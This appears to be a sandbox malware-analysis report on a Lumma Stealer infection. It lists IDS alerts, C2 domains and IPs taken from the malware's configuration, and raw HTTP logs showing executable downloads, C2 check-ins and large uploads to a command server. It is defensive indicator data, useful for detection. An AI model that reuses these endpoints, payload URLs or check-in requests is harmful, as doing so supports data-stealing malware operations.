Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49834 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49886 -> 104.21.81.153:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49886 -> 104.21.81.153:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 08 Dec 2024 17:06:09 GMTContent-Type: application/octet-streamContent-Length: 1892352Last-Modified: Sun, 08 Dec 2024 16:55:07 GMTConnection: keep-aliveETag: "6755cf6b-1ce000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 af 50 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 c6 03 00 00 ac 00 00 00 00 00 00 00 90 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4a 00 00 04 00 00 5d 07 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 30 05 00 70 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 32 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 05 00 00 04 00 00 00 42 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 46 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 40 05 00 00 02 00 00 00 48 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 67 72 77 71 6f 73 66 00 70 1a 00 00 10 30 00 00 70 1a 00 00 4a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 61 70 6f 6d 72 6a 72 00 10 00 00 00 80 4a 00 00 04 00 00 00 ba 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4a 00 00 22 00 00 00 be 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: gamertool.euContent-Length: 69Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: gamertool.euContent-Length: 69Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /GmdDriver.exe HTTP/1.1Host: gamertool.eu
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: gamertool.euContent-Length: 19Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/806475321/0tClIDb.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 32 32 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013229001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 172.67.165.166 172.67.165.166

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49765 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49782 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49788 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49802 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49795 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49810 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49819 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49826 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49834 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49845 -> 104.21.9.168:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49886 -> 104.21.81.153:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49893 -> 104.21.81.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49868 -> 104.21.9.168:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 48Host: atten-supporse.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2IV6KEL089User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18116Host: atten-supporse.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9L2NQWWVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8725Host: atten-supporse.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PHSWT3AU2H4FCXW15YWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20444Host: atten-supporse.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=50E65A1ZC8BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1216Host: atten-supporse.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SCC5EPGZEJXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 570532Host: atten-supporse.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 83Host: atten-supporse.biz
Source: global traffic	HTTP traffic detected: GET /LKSM.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: gamertool.eu
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: se-blurry.biz

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0049E0C0 recv,recv,recv,recv,

0_2_0049E0C0

Source: global traffic	HTTP traffic detected: GET /LKSM.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: gamertool.eu
Source: global traffic	HTTP traffic detected: GET /GmdDriver.exe HTTP/1.1Host: gamertool.eu
Source: global traffic	HTTP traffic detected: GET /files/806475321/0tClIDb.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: gamertool.eu
Source: global traffic	DNS traffic detected: DNS query: impend-differ.biz
Source: global traffic	DNS traffic detected: DNS query: se-blurry.biz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Local
Source: skotes.exe, 00000006.00000002.2887135078.0000000001576000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2887135078.00000000014F6000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2887135078.000000000151D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/
Source: skotes.exe, 00000006.00000002.2887135078.0000000001536000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php29001
Source: skotes.exe, 00000006.00000002.2887135078.0000000001536000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php3229001
Source: skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpT
Source: skotes.exe, 00000006.00000002.2887135078.0000000001536000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpV
Source: skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpdedt
Source: skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpg
Source: skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000006.00000002.2887135078.0000000001536000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/d
Source: skotes.exe, 00000006.00000002.2887135078.0000000001546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ones
Source: skotes.exe, 00000006.00000002.2887135078.00000000014C8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2887135078.000000000151D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/806475321/0tClIDb.exe
Source: skotes.exe, 00000006.00000002.2887135078.00000000014F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/806475321/0tClIDb.exeRX
